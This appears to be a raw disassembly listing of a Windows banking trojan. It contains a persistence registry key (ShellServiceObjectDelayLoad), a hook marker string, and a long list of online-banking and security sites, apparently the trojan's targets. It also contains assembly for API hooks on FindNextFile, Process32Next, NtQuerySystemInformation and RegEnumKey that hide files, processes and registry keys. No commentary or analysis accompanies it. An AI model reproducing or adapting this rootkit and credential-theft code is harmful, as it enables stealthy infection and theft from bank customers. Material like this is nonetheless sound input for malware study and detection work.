dword_41E9A4 dd 0 ; DATA XREF: sub_408FEB+328w ; sub_408FEB+41Dr ... dword_41E9A8 dd 0 ; DATA XREF: sub_4022C3+71w ; sub_402528+65r dword_41E9AC dd 400000h ; DATA XREF: sub_408FEB+C0r ; sub_408FEB+13Dr ... dword_41E9B0 dd 40h dup(0) ; DATA XREF: sub_408C17+B9o ; sub_409A96+D8Co ... dword_41EAB0 dd 0 ; DATA XREF: sub_401DB9+33w ; sub_401DB9+B6w ... align 10h dword_41EAC0 dd 3430257Bh ; DATA XREF: sub_403A55+48w ; sub_403A55+8Er aX04x04x04x04x0 db 'X%04X-%04X-%04X-%04X-%04X%04X%04X}',0 align 4 dd 0 dd 25000000h, 583830h, 2 dup(0) aSS_dll db '%s\%s.dll',0 align 4 dd 0 dd 4C430000h, 5C444953h, 495C7325h, 6F72506Eh, 72655363h dd 33726576h, 32h, 0 dd 68540000h, 64616572h, 4D676E69h, 6C65646Fh, 2 dup(0) dd 61704100h, 656D7472h, 746Eh, 0 db 0 db 2 dup(0), 53h aOftwareMicroso db 'oftware\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayL' db 'oad',0 align 10h dd 426h dup(0) dword_41FC38 dd 0 ; DATA XREF: sub_408FEB+9C2w ; sub_40B3C6+CAr align 10h dword_41FC40 dd 40h dup(0) ; DATA XREF: sub_409A96+5DFo ; sub_40AB84+377o ... byte_41FD40 db 0 ; DATA XREF: sub_401DB9+169w align 4 dword_41FD44 dd 0 ; DATA XREF: sub_408FEB+105w ; sub_408FEB+145r ... align 10h byte_41FD50 db 0 ; DATA XREF: sub_406EA8+145o ; sub_406EA8+C83o ... byte_41FD51 db 0 ; DATA XREF: sub_406EA8+E4Cr byte_41FD52 db 0 ; DATA XREF: sub_406EA8+E55r byte_41FD53 db 0 ; DATA XREF: sub_406EA8+E5Er dd 3FFFh dup(0) byte_42FD50 db 0 ; DATA XREF: sub_401DB9+257w ; sub_401DB9+25Cr align 4 dword_42FD54 dd 0 ; DATA XREF: sub_406EA8+167w ; .text:0040809Br ... align 10h dword_42FD60 dd 0 ; DATA XREF: .text:00401845w ; .text:loc_401879r dd 409h dup(0) dword_430D88 dd 0 ; DATA XREF: sub_4022C3+81w dword_430D8C dd 0 ; DATA XREF: sub_4022C3+32w ; sub_402353+2Er dword_430D90 dd 0 ; DATA XREF: sub_408FEB+1EDw ; sub_408FEB+27Fr ... byte_430D94 db 0 ; DATA XREF: sub_401DB9+2EDw ; sub_401DB9+2FCr ... align 10h dword_430DA0 dd 0 ; DATA XREF: sub_404525+48w ; sub_404525+8Er dd 45Fh dup(0) dword_431F20 dd 0 ; DATA XREF: sub_406E1B+53w ; sub_406E1B+83r dd 422h dup(0) dword_432FAC dd 0 ; DATA XREF: sub_408FEB+53Dw ; sub_408FEB+942r ... dword_432FB0 dd 0 ; DATA XREF: sub_408FEB+65Ew ; sub_40B525+27Br ... dword_432FB4 dd 0 ; DATA XREF: sub_408FEB+2C2w ; sub_408FEB+3BCr ... align 10h dword_432FC0 dd 0 ; DATA XREF: .text:0040872Cw ; .text:00408765r dd 3EFh dup(0) aCWindowsSystem db 'C:\WINDOWS\System32',0 ; DATA XREF: sub_403BBF+4Fo ; sub_403D2D+23Ao ... dd 3Bh dup(0) byte_434080 db 0 ; DATA XREF: sub_40132A+BCo ; sub_408165+124w ... align 4 dd 3Fh dup(0) dword_434180 dd 0 ; DATA XREF: .text:00401AABw ; .text:00401AE7r dd 418h dup(0) dword_4351E4 dd 0 ; DATA XREF: sub_408FEB+5CFw ; sub_408FEB+98Dr ... dword_4351E8 dd 0 ; DATA XREF: sub_408FEB+879w ; sub_408FEB+99Dr align 10h dword_4351F0 dd 0 ; DATA XREF: .text:004015D4w ; .text:loc_40160Ar dd 403h dup(0) dword_436200 dd 0 ; DATA XREF: sub_40500D+4Fw ; sub_40500D:loc_40508Er dd 41Bh dup(0) dword_437270 dd 0 ; DATA XREF: .text:00401D75w ; .text:00401DAFr dd 44Bh dup(0) dword_4383A0 dd 0 ; DATA XREF: .text:00401739w ; .text:loc_40176Dr dd 40Bh dup(0) dword_4393D0 dd 0 ; DATA XREF: .text:004089F0w ; .text:00408A33r dd 431h dup(0) dword_43A498 dd 0 ; DATA XREF: sub_408FEB+6D8w ; sub_40B525+283r ... align 10h byte_43A4A0 db 0 ; DATA XREF: sub_40211D+CDw align 10h dword_43A4B0 dd 0 ; DATA XREF: .text:00408829w ; .text:00408864r dd 41Fh dup(0) _bss ends ; Section 3. (virtual address 0003C000) ; Virtual size : 0000C000 ( 49152.) ; Section size in file : 0000C000 ( 49152.) ; Offset to raw data for section: 0003C000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _data segment para public 'DATA' use32 assume cs:_data ;org 43C000h dd offset dword_40D000 dd 43B530h, 8000h, 0 dword_43C010 dd 0 ; DATA XREF: sub_40109A+F6w ; sub_40109A+110w ... dword_43C014 dd 12FF74h ; DATA XREF: sub_401219+60w dd 0 dword_43C01C dd 0 ; DATA XREF: sub_401219+Bo dword_43C020 dd 1 ; DATA XREF: sub_401219+44o ; sub_401219+5Ar dword_43C024 dd 14B5A0h ; DATA XREF: sub_401219+3Fo ; sub_401219+54r dword_43C028 dd 149C48h ; DATA XREF: sub_401219+3Ao ; sub_401219+4Er dword_43C02C dd 0 ; DATA XREF: sub_40109A:loc_4011F8r ; sub_40109A:loc_401208r dword_43C030 dd 0 ; DATA XREF: sub_40109A+62w dword_43C034 dd 0 ; DATA XREF: sub_40109A+6Cw ; sub_40109A+87r ... dword_43C038 dd 0 ; DATA XREF: sub_40109A+74w dword_43C03C dd 14h dup(0) ; DATA XREF: sub_40109A+81o ; sub_40109A+8Fo dword_43C08C dd 0 ; DATA XREF: sub_40109A+11w dword_43C090 dd 0 ; DATA XREF: sub_40109A+16w ; sub_40109A+32w dword_43C094 dd 2 ; DATA XREF: sub_40132A+B5r ; sub_408FEB+165r ... dword_43C098 dd 0Bh ; DATA XREF: sub_408F56+5Dr ; sub_408FEB+14Br ... dword_43C09C dd 34h ; DATA XREF: sub_40129C+Er ; sub_40129C:loc_4012CAr ... aKkqhook_30 db 'KKQHOOK_30',0 ; DATA XREF: sub_40AB2B+10o ; sub_40AB84+52Ao aFmAfb db 'Fm$afB',0 aB_0 db '',0 unicode 0, <|>,0 dword_43C0B8 dd 0 ; DATA XREF: sub_409A96+10Br ; sub_409A96+14Cr ... dword_43C0BC dd 46h ; DATA XREF: sub_409A96+FA7r ; sub_409A96+FEEr ... off_43C0C0 dd offset aSiliconfirewar ; DATA XREF: sub_409A96+111r ; sub_409A96+152r ; "siliconfireware.ru" dd offset aChechenpress_i ; "chechenpress.info" dd offset aProdexteam_net ; "prodexteam.net" dd offset aProdexteam_n_0 ; "prodexteam.net/main.htm" dd offset aWww_cbr_ru ; "www.cbr.ru" dd offset aWww_proxySocks ; "www.proxy-socks.net" dd offset aProdexteam_n_1 ; "prodexteam.netcrutop.nu" dd offset aNew_egg_com ; "new.egg.com" dd offset aWww_baltbank_r ; "www.baltbank.ru" dd offset aWelcome3_smile ; "welcome3.smile.co.uk" dd offset aOlb2_nationet_ ; "olb2.nationet.com" dd offset aWww_bbin_ru ; "www.bbin.ru" dd offset aMasterX_com ; "master-x.com" dd offset aEbookfinaltras ; "ebookfinaltrash.ru" dd offset aWww_masterbank ; "www.masterbank.ru" dd offset aWww_bankBanque ; "www.bank-banque-canada.ca/index.php" dd offset aWww_bmo_com ; "www.bmo.com" dd offset aWww_bankofmadu ; "www.bankofmadura.com" dd offset aWww_cibc_com ; "www.cibc.com" dd offset aWww_vtb_ru ; "www.vtb.ru" dd offset aWww_cwbank_com ; "www.cwbank.com" dd offset aHyperSpaceFuel ; "hyper-space-fuel.ru" dd offset aAlfabank_ru ; "alfabank.ru" dd offset aCrutop_nuVbull ; "crutop.nu/vbulletin/" dd offset aWww_mmbank_ru ; "www.mmbank.ru" dd offset aCrutop_nuVbu_0 ; "crutop.nu/vbulletin/forumdisplay.php" dd offset aWww_uniastrum_ ; "www.uniastrum.ru" dd offset aCrutop_nuVbu_1 ; "crutop.nu/vbulletin/showthread.php" dd offset aAtmacasoft_com ; "atmacasoft.com" dd offset aAsmworm_com ; "asmworm.com" dd offset aWww_proxySocks ; "www.proxy-socks.net" dd offset aDigitalRelaxkg ; "digital-relaxkgb.ru" dd offset aWww_worldbank_ ; "www.worldbank.org/index.php" dd offset aWww_candidatev ; "www.candidateverifier.com/index.php" dd offset aWww_sbrf_ru ; "www.sbrf.ru" dd offset aPizdabolInc_ru ; "pizdabol-inc.ru" dd offset aWww_bankofindi ; "www.bankofindia.com" dd offset aWww_icbank_ru ; "www.icbank.ru" dd offset aAcroleinHawk_r ; "acrolein-hawk.rubanking.halifax-online."... dd offset aWww_spyinstruc ; "www.spyinstructors.com" dd offset aWww_kmb_ru ; "www.kmb.ru" dd offset aWww_netmagiste ; "www.netmagister.com" dd offset aKavkazcenter_c ; "kavkazcenter.com/russ" dd offset aWww_absolutban ; "www.absolutbank.ru" dd offset aMyonlineaccoun ; "myonlineaccounts2.abbeynational.co.uk" dd offset aOnlineBusiness ; "online-business.lloydstsb.co.uk" dd offset aWww_allahabadb ; "www.allahabadbank.com" dd offset aMasterX_comFor ; "master-x.com/forum/" dd offset aWww_rbc_com ; "www.rbc.com" dd offset aWww_ovk_ru ; "www.ovk.ru" dd offset aWww1_hsbc_caIn ; "www1.hsbc.ca/index.php" dd offset aProrat_net ; "prorat.net" dd offset aYambo_biz ; "yambo.biz" dd offset aKidosBank_ru ; "kidos-bank.ru" dd offset aWww_lbcdirect_ ; "www.lbcdirect.laurentianbank.ca/index.p"... dd offset aBarclays_com ; "barclays.com" dd offset aTotallyfreeban ; "totallyfreebanking.com" dd offset aWww_nbc_caInde ; "www.nbc.ca/index.php" dd offset a53bank_com ; "53bank.com" dd offset aWww_uralsib_ru ; "www.uralsib.ru" dd offset aGrepwareFacili ; "grepware-facility.ru" dd offset aWww_b2bTrust_c ; "www.b2b-trust.com" dd offset aGutabank_ru ; "gutabank.ru" dd offset aOpenbank_com ; "openbank.com" dd offset aSeclab_ru ; "seclab.ru" dd offset aTatNeftbank_ru ; "tat-neftbank.ru" dd offset aSecuritylab_ru ; "securitylab.ru" dd offset aRoyalbank_com ; "royalbank.com" dd offset aFethard_biz ; "fethard.biz" dd offset aWww_mdmbank_ru ; "www.mdmbank.ru" dd offset aGronxplanets_r ; "gronxplanets.ru" dd offset aChevychasebank ; "chevychasebank.com" db 3Eh, 0 aSoftwareMicros db 'Software\Microsoft\Windows',0 ; DATA XREF: sub_409A96+52Ao ; sub_409A96+62Co ... aHdbn db 'hDbn-',0 aOfstkkq db 'ofstkkq',0 ; DATA XREF: sub_409A96+525o ; sub_409A96+627o aUVl db 'U,VL ',0 aOfstkkqc db 'ofstkkqc',0 ; DATA XREF: sub_409A96+68Co ; sub_409A96+848o a3X db '3 x',0 align 10h dword_43C220 dd 0 ; DATA XREF: sub_408165+1C5w ; sub_40B525:loc_40B6F5r ... dword_43C224 dd 0 ; DATA XREF: sub_40B525+8Ar ; sub_40B525+B8r ... aKw?b2 db 'KW?B2- ',0 a7dRv db '7d% r',0 ; DATA XREF: sub_40132A+27o word_43C237 dw 3Dh ; DATA XREF: sub_40132A:loc_401390r align 4 dword_43C23C dd 3Bh ; DATA XREF: sub_401DB9+17w ; sub_401DB9+A0w ... dd 4, 11h dword_43C248 dd 0 ; DATA XREF: .text:00401446r ; .text:loc_40145Fr ... aOajrO db 'oAjR;o-',0 ; DATA XREF: sub_4014CB+43o byte_43C254 db 0 ; DATA XREF: sub_4014CB+56o aNsg7 db 'nS7',0 ; DATA XREF: sub_4014CB+7Co word_43C25A dw 0 ; DATA XREF: sub_4014CB+94o dd 4, 11h dword_43C264 dd 0 ; DATA XREF: .text:0040158Fr ; .text:loc_4015A8r ... aOajrO_0 db 'oAjR;o-',0 ; DATA XREF: sub_401614+4Do byte_43C270 db 0 ; DATA XREF: sub_401614+60o aNsg7_0 db 'nS7',0 ; DATA XREF: sub_401614+86o word_43C276 dw 0 ; DATA XREF: sub_401614+9Eo dd 4, 0Bh dword_43C280 dd 0 ; DATA XREF: .text:004016F4r ; .text:loc_40170Dr ... byte_43C284 db 0 ; DATA XREF: sub_401777+Bo byte_43C285 db 46h, 26h, 0 ; DATA XREF: sub_401777+56o dd 4, 0Bh dword_43C290 dd 0 ; DATA XREF: .text:00401800r ; .text:loc_401819r ... aPvX db 'PV |x',0 ; DATA XREF: sub_401883+B0o align 10h dd 0Fh dword_43C2A4 dd 0 ; DATA XREF: .text:0040198Cr ; .text:loc_4019ACr ... dd 6, 0Dh dword_43C2B0 dd 0 ; DATA XREF: .text:00401A69r ; .text:loc_401A82r ... aT db '#, t&',0 ; DATA XREF: sub_401AF1+Co byte_43C2BA db 0 ; DATA XREF: sub_401AF1+72o byte_43C2BB db 6Fh ; DATA XREF: sub_401AF1+C4o dd 3742587Fh, 67h, 6, 0Dh dword_43C2CC dd 0 ; DATA XREF: .text:00401BE0r ; .text:loc_401BF9r ... dd 5, 0Dh dword_43C2D8 dd 0 ; DATA XREF: .text:00401D3Ar ; .text:loc_401D53r ... dword_43C2DC dd 6D3E72h ; DATA XREF: sub_401DB9+327r aE7y db 'e=7y^',0 ; DATA XREF: sub_40211D+38o word_43C2E6 dw 36h ; DATA XREF: sub_40211D+4Dr off_43C2E8 dd offset loc_401E4D ; DATA XREF: sub_401DB9+79r dd offset loc_401E4D dd offset loc_401E4D dd offset loc_401E4D dd offset loc_401E8A dd offset loc_401E8A dd offset loc_402086 dd offset loc_402086 dd offset loc_401E4D dd offset loc_401E4D dd offset loc_401E4D dd offset loc_401E4D dd offset loc_401E8A dd offset loc_401E8A dd offset loc_402086 dd offset loc_402004 dd offset loc_401E4D dd offset loc_401E4D dd offset loc_401E4D dd offset loc_401E4D dd offset loc_401E8A dd offset loc_401E8A dd offset loc_402086 dd offset loc_402086 dd offset loc_401E4D dd offset loc_401E4D dd offset loc_401E4D dd offset loc_401E4D dd offset loc_401E8A dd offset loc_401E8A dd offset loc_402086 dd offset loc_402086 dd offset loc_401E4D dd offset loc_401E4D dd offset loc_401E4D dd offset loc_401E4D dd offset loc_401E8A dd offset loc_401E8A dd offset loc_401EBF dd offset loc_402086 dd offset loc_401E4D dd offset loc_401E4D dd offset loc_401E4D dd offset loc_401E4D dd offset loc_401E8A dd offset loc_401E8A dd offset loc_401EBF dd offset loc_402086 dd offset loc_401E4D dd offset loc_401E4D dd offset loc_401E4D dd offset loc_401E4D dd offset loc_401E8A dd offset loc_401E8A dd offset loc_401EBF dd offset loc_402086 dd offset loc_401E4D dd offset loc_401E4D dd offset loc_401E4D dd offset loc_401E4D dd offset loc_401E8A dd offset loc_401E8A dd offset loc_401EBF dd offset loc_402086 dd offset loc_402086 dd offset loc_402086 dd offset loc_402086 dd offset loc_402086 dd offset loc_402086 dd offset loc_402086 dd offset loc_402086 dd offset loc_402086 dd offset loc_402086 dd offset loc_402086 dd offset loc_402086 dd offset loc_402086 dd offset loc_402086 dd offset loc_402086 dd offset loc_402086 dd offset loc_402086 dd offset loc_402086 dd offset loc_402086 dd offset loc_402086 dd offset loc_402086 dd offset loc_402086 dd offset loc_402086 dd offset loc_402086 dd offset loc_402086 dd offset loc_402086 dd offset loc_402086 dd offset loc_402086 dd offset loc_402086 dd offset loc_402086 dd offset loc_402086 dd offset loc_402086 dd offset loc_402086 dd offset loc_402086 dd offset loc_402086 dd offset loc_401E4D dd offset loc_401E4D dd offset loc_401EBF dd offset loc_401EBF dd offset loc_401F2C dd offset loc_401F52 dd offset loc_401FCF dd offset loc_401F95 dd offset loc_401EAE dd offset loc_401F83 dd offset loc_402086 dd offset loc_402086 dd offset loc_402086 dd offset loc_402086 dd offset loc_401EAE dd offset loc_401EAE dd offset loc_401EAE dd offset loc_401EAE dd offset loc_401EAE dd offset loc_401EAE dd offset loc_401EAE dd offset loc_401EAE dd offset loc_401EAE dd offset loc_401EAE dd offset loc_401EAE dd offset loc_401EAE dd offset loc_401EAE dd offset loc_401EAE dd offset loc_401EAE dd offset loc_401EAE dd offset loc_401F83 dd offset loc_401F95 dd offset loc_401F83 dd offset loc_401F83 dd offset loc_401E4D dd offset loc_401E4D dd offset loc_401E4D dd offset loc_401E4D dd offset loc_401E4D dd offset loc_401E4D dd offset loc_401E4D dd offset loc_401E4D off_43C518 dd offset loc_401E4D ; DATA XREF: sub_401DB9+281r dd offset loc_401E4D dd offset loc_401E4D dd offset loc_401E4D dd offset loc_402086 dd offset loc_402086 dd offset loc_402086 dd offset loc_402086 dd offset loc_402086 dd offset loc_402086 dd offset loc_402086 dd offset loc_402086 dd offset loc_402086 dd offset loc_402086 dd offset loc_401FAC dd offset loc_402086 dd offset loc_402086 dd offset loc_402086 dd offset loc_402086 dd offset loc_402086 dd offset loc_401FBF dd offset loc_401FBF dd offset loc_401FBF dd offset loc_401FBF dd offset loc_402086 dd offset loc_402086 dd offset loc_402086 dd offset loc_402086 dd offset loc_401EAE dd offset loc_401FCF dd offset loc_402086 dd offset loc_402086 dd offset loc_402086 dd offset loc_402086 dd offset loc_402086 dd offset loc_402086 dd offset loc_401EAE dd offset loc_401EAE dd offset loc_401EAE dd offset loc_401EAE dd offset loc_401EAE dd offset loc_401EAE dd offset loc_401EAE dd offset loc_401EAE dd offset loc_401FCF dd offset loc_401FCF dd offset loc_401FCF dd offset loc_401FCF dd offset loc_401FCF dd offset loc_401FCF dd offset loc_401FCF dd offset loc_401FCF dd offset loc_401F83 dd offset loc_401F83 dd offset loc_401FE5 dd offset loc_402086 dd offset loc_401E4D dd offset loc_401E4D dd offset loc_401F83 dd offset loc_401F95 dd offset loc_401FF1 dd offset loc_402086 dd offset loc_401FE5 dd offset loc_402086 dd offset loc_402086 dd offset loc_401E5F dd offset loc_402086 dd offset loc_402086 dd offset loc_401E4D dd offset loc_401E4D dd offset loc_401E4D dd offset loc_401E4D dd offset loc_401EAE dd offset loc_401EAE dd offset loc_402086 dd offset loc_402086 dd offset loc_401E4D dd offset loc_401E4D dd offset loc_401E4D dd offset loc_401E4D dd offset loc_401E4D dd offset loc_401E4D dd offset loc_401E4D dd offset loc_401E4D dd offset loc_401EAE dd offset loc_401EAE dd offset loc_401EAE dd offset loc_401EAE dd offset loc_401EAE dd offset loc_401EAE dd offset loc_401EAE dd offset loc_401EAE dd offset loc_401FCF dd offset loc_401FCF dd offset loc_401FAC dd offset loc_401EAE dd offset loc_402086 dd offset loc_402086 dd offset loc_402086 dd offset loc_402086 dd offset loc_401EE5 dd offset loc_401FFD dd offset loc_401F01 dd offset loc_401F01 dd offset loc_402086 dd offset loc_402086 dd offset loc_401E7A dd offset loc_401E7A dd offset loc_402086 dd offset loc_402086 dd offset loc_402086 dd offset loc_402086 dd offset loc_402086 dd offset loc_402086 dd offset loc_401E4D dd offset loc_401E4D off_43C6E8 dd offset loc_402046 ; DATA XREF: sub_401DB9+26Cr dd offset loc_402046 dd offset loc_402046 dd offset loc_402046 dd offset loc_40207F dd offset loc_40207F dd offset loc_402086 dd offset loc_40207F dd offset loc_402086 dd offset loc_402086 dd offset loc_402086 dd offset loc_402086 dd offset loc_402063 dd offset loc_402063 dd offset loc_402063 dd offset loc_402063 dd offset loc_402063 dd offset loc_402063 dd offset loc_402063 dd offset loc_402063 dd offset loc_402063 dd offset loc_402063 dd offset loc_402063 dd offset loc_402063 dd offset loc_402063 dd offset loc_402063 dd offset loc_402063 dd offset loc_402063 dd offset loc_402046 dd offset loc_402046 dd offset loc_402046 dd offset loc_402046 dd offset loc_402046 dd offset loc_402046 dd offset loc_402046 dd offset loc_402046 dd offset loc_402046 dd offset loc_402046 dd offset loc_402046 dd offset loc_402046 dd offset loc_402046 dd offset loc_402046 dd offset loc_402046 dd offset loc_402046 dd offset loc_402086 dd offset loc_402086 dd offset loc_402086 dd offset loc_402046 dd offset loc_402070 dd offset loc_402046 dd offset loc_40207F dd offset loc_40207F dd offset loc_402086 dd offset loc_402086 dd offset loc_402086 dd offset loc_402046 dd offset loc_402070 dd offset loc_402046 dd offset loc_40207F dd offset loc_402046 dd offset loc_402046 dd offset loc_402046 dd offset loc_402046 dd offset loc_402046 dd offset loc_402046 dd offset loc_402046 dd offset loc_402046 dd offset loc_402046 dd offset loc_40207F dd offset loc_40207F dd offset loc_402070 dd offset loc_402046 dd offset loc_402046 dd offset loc_402046 dd offset loc_402046 dd offset loc_402046 dd offset loc_402046 dd offset loc_402046 dd offset loc_40207F dd offset loc_40207F dd offset loc_40207F dd offset loc_40207F dd offset loc_40207F dd offset loc_40207F dd offset loc_402086 dd offset loc_402086 dd offset loc_402086 dd offset loc_402086 dd offset loc_402086 dd offset loc_402086 dd offset loc_402086 dd offset loc_402086 aFindnextfilea db 'FindNextFileA',0 ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 18h mov [esp+8], edi mov [esp+4], esi mov [esp], ebx loc_43C877: ; CODE XREF: .data:0043C8C0j push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call near ptr 245CA84h test eax, eax jz short loc_43C8C2 pusha mov eax, [ebp+0Ch] add eax, 2Ch mov ebx, eax loc_43C891: ; CODE XREF: .data:0043C897j cmp byte ptr [ebx], 0 jz short loc_43C899 inc ebx jmp short loc_43C891 ; --------------------------------------------------------------------------- loc_43C899: ; CODE XREF: .data:0043C894j mov word ptr [ebx], 463Ah inc ebx inc ebx push dword ptr [ebx] mov word ptr [ebx], 0 push ebx push eax call near ptr 0C4FD4BAh pop ebx pop dword ptr [ebx] mov word ptr [ebx-2], 0 test ax, ax jnz short loc_43C8BF popa jmp short loc_43C8C2 ; --------------------------------------------------------------------------- loc_43C8BF: ; CODE XREF: .data:0043C8BAj popa jmp short loc_43C877 ; --------------------------------------------------------------------------- loc_43C8C2: ; CODE XREF: .data:0043C884j ; .data:0043C8BDj mov ebx, [esp] mov esi, [esp+4] mov edi, [esp+8] mov esp, ebp pop ebp retn 8 ; --------------------------------------------------------------------------- db 0FFh dd 0FFFFFFFFh, 6E694600h, 78654E64h, 6C694674h db 65h, 57h, 0 ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 18h mov [esp+8], edi mov [esp+4], esi mov [esp], ebx loc_43C8F8: ; CODE XREF: .data:0043C947j push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call near ptr 245CB05h test eax, eax jz short loc_43C949 pusha mov eax, [ebp+0Ch] add eax, 2Ch mov ebx, eax loc_43C912: ; CODE XREF: .data:0043C91Aj cmp word ptr [ebx], 0 jz short loc_43C91C inc ebx inc ebx jmp short loc_43C912 ; --------------------------------------------------------------------------- loc_43C91C: ; CODE XREF: .data:0043C916j mov dword ptr [ebx], 46003Ah add ebx, 4 push dword ptr [ebx] mov dword ptr [ebx], 0 push ebx push eax call near ptr 0D50D641h pop ebx pop dword ptr [ebx] mov dword ptr [ebx-4], 0 test ax, ax jnz short loc_43C946 popa jmp short loc_43C949 ; --------------------------------------------------------------------------- loc_43C946: ; CODE XREF: .data:0043C941j popa jmp short loc_43C8F8 ; --------------------------------------------------------------------------- loc_43C949: ; CODE XREF: .data:0043C905j ; .data:0043C944j mov ebx, [esp] mov esi, [esp+4] mov edi, [esp+8] mov esp, ebp pop ebp retn 8 ; --------------------------------------------------------------------------- dw 0FFFFh dword_43C95C dd 0FFFFFFh, 7551744Eh, 53797265h, 65747379h, 666E496Dh ; DATA XREF: .data:0043CEA8o dd 616D726Fh, 6E6F6974h db 0 ; --------------------------------------------------------------------------- loc_43C979: ; DATA XREF: .data:0043CEB0o push ebp mov ebp, esp sub esp, 24h mov [esp+8], edi mov [esp+4], esi mov [esp], ebx sub esp, 10h mov eax, [ebp+14h] mov edi, [ebp+10h] mov ebx, [ebp+0Ch] mov [esp+0Ch], eax mov [esp+8], edi mov [esp+4], ebx mov esi, [ebp+8] mov [esp], esi call near ptr 245CBAFh mov [ebp-4], eax cmp esi, 5 jz short loc_43C9C9 loc_43C9B5: ; CODE XREF: .data:0043C9CFj ; .data:0043CA22j mov eax, [ebp-4] mov ebx, [esp] mov esi, [esp+4] mov edi, [esp+8] mov esp, ebp pop ebp retn 10h ; --------------------------------------------------------------------------- loc_43C9C9: ; CODE XREF: .data:0043C9B3j cmp edi, 1F40h jle short loc_43C9B5 jmp short loc_43C9D7 ; --------------------------------------------------------------------------- loc_43C9D3: ; CODE XREF: .data:0043CA24j mov esi, ebx loc_43C9D5: ; CODE XREF: .data:0043CA1Cj add ebx, eax loc_43C9D7: ; CODE XREF: .data:0043C9D1j pusha mov eax, [ebx+44h] push 50h sub esp, 20h xor ebx, ebx loc_43C9E5: ; CODE XREF: .data:0043C9F8j bt eax, ebx jb short loc_43C9F0 mov byte ptr [esp+ebx], 30h jmp short loc_43C9F4 ; --------------------------------------------------------------------------- loc_43C9F0: ; CODE XREF: .data:0043C9E8j mov byte ptr [esp+ebx], 31h loc_43C9F4: ; CODE XREF: .data:0043C9EEj inc ebx cmp ebx, 20h jnz short loc_43C9E5 push esp call near ptr 0C4FD60Ch add esp, 24h test ax, ax jnz short loc_43CA0B popa jmp short loc_43CA1E ; --------------------------------------------------------------------------- loc_43CA0B: ; CODE XREF: .data:0043CA06j popa mov eax, [ebx] test eax, eax jnz short loc_43CA1A mov dword ptr [esi], 0 jmp short loc_43CA1E ; --------------------------------------------------------------------------- loc_43CA1A: ; CODE XREF: .data:0043CA10j add [esi], eax jmp short loc_43C9D5 ; --------------------------------------------------------------------------- loc_43CA1E: ; CODE XREF: .data:0043CA09j ; .data:0043CA18j mov eax, [ebx] test eax, eax jz short loc_43C9B5 jmp short loc_43C9D3 ; --------------------------------------------------------------------------- dw 0FFFFh dd 0FFFFFFh aProcess32next db 'Process32Next',0 ; DATA XREF: .data:off_43CE98o word_43CA3A dw 8360h ; DATA XREF: .data:off_43CEA0o dd 46A08C5h, 0B0BE855h, 0C0850B0Bh, 0EB610374h, 458B610Bh dd 1013D08h, 14740101h, 80808E8h, 1FF8108h, 74010101h dd 1013D07h, 5750101h, 20202E9h db 2 ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 18h mov [esp+8], edi mov [esp+4], esi mov [esp], ebx loc_43CA82: ; CODE XREF: .data:0043CAD0j sub esp, 8 mov ebx, [ebp+0Ch] mov edi, [ebp+8] mov [esp+4], ebx mov [esp], edi call near ptr 245CC99h test eax, eax jz short loc_43CAD2 pusha mov eax, [ebx+8] push 50h sub esp, 20h xor ebx, ebx loc_43CAA9: ; CODE XREF: .data:0043CABCj bt eax, ebx jb short loc_43CAB4 mov byte ptr [esp+ebx], 30h jmp short loc_43CAB8 ; --------------------------------------------------------------------------- loc_43CAB4: ; CODE XREF: .data:0043CAACj mov byte ptr [esp+ebx], 31h loc_43CAB8: ; CODE XREF: .data:0043CAB2j inc ebx cmp ebx, 20h jnz short loc_43CAA9 push esp call near ptr 0C4FD6D0h add esp, 24h test ax, ax jnz short loc_43CACF popa jmp short loc_43CAD2 ; --------------------------------------------------------------------------- loc_43CACF: ; CODE XREF: .data:0043CACAj popa jmp short loc_43CA82 ; --------------------------------------------------------------------------- loc_43CAD2: ; CODE XREF: .data:0043CA99j ; .data:0043CACDj mov ebx, [esp] mov esi, [esp+4] mov edi, [esp+8] mov esp, ebp pop ebp retn 8 ; --------------------------------------------------------------------------- db 0FFh dd 0FFFFFFFFh, 67655200h, 6D756E45h, 4179654Bh db 0 ; --------------------------------------------------------------------------- push ebp mov ebp, esp loc_43CAF8: ; CODE XREF: .data:0043CB45j push dword ptr [ebp+14h] push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call near ptr 245CD0Bh test eax, eax jnz short loc_43CB47 pusha mov eax, [ebp+10h] mov ebx, eax loc_43CB13: ; CODE XREF: .data:0043CB19j cmp byte ptr [ebx], 0 jz short loc_43CB1B inc ebx jmp short loc_43CB13 ; --------------------------------------------------------------------------- loc_43CB1B: ; CODE XREF: .data:0043CB16j mov word ptr [ebx], 4B23h inc ebx inc ebx push dword ptr [ebx] mov word ptr [ebx], 0 push ebx push eax call near ptr 0C4FD73Ch pop ebx pop dword ptr [ebx] mov word ptr [ebx-2], 0 test ax, ax jnz short loc_43CB41 popa jmp short loc_43CB47 ; --------------------------------------------------------------------------- loc_43CB41: ; CODE XREF: .data:0043CB3Cj popa inc dword ptr [ebp+0Ch] jmp short loc_43CAF8 ; --------------------------------------------------------------------------- loc_43CB47: ; CODE XREF: .data:0043CB0Bj ; .data:0043CB3Fj pop ebp retn 10h ; --------------------------------------------------------------------------- db 0FFh dd 0FFFFFFFFh, 67655200h, 6D756E45h, 5779654Bh db 0 ; --------------------------------------------------------------------------- push ebp mov ebp, esp loc_43CB60: ; CODE XREF: .data:0043CBB3j push dword ptr [ebp+14h] push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call near ptr 245CD73h test eax, eax jnz short loc_43CBB5 pusha mov eax, [ebp+10h] mov ebx, eax loc_43CB7B: ; CODE XREF: .data:0043CB83j cmp word ptr [ebx], 0 jz short loc_43CB85 inc ebx inc ebx jmp short loc_43CB7B ; --------------------------------------------------------------------------- loc_43CB85: ; CODE XREF: .data:0043CB7Fj mov dword ptr [ebx], 4B0023h add ebx, 4 push dword ptr [ebx] mov dword ptr [ebx], 0 push ebx push eax call near ptr 0D50D8AAh pop ebx pop dword ptr [ebx] mov dword ptr [ebx-4], 0 test ax, ax jnz short loc_43CBAF popa jmp short loc_43CBB5 ; --------------------------------------------------------------------------- loc_43CBAF: ; CODE XREF: .data:0043CBAAj popa inc dword ptr [ebp+0Ch] jmp short loc_43CB60 ; --------------------------------------------------------------------------- 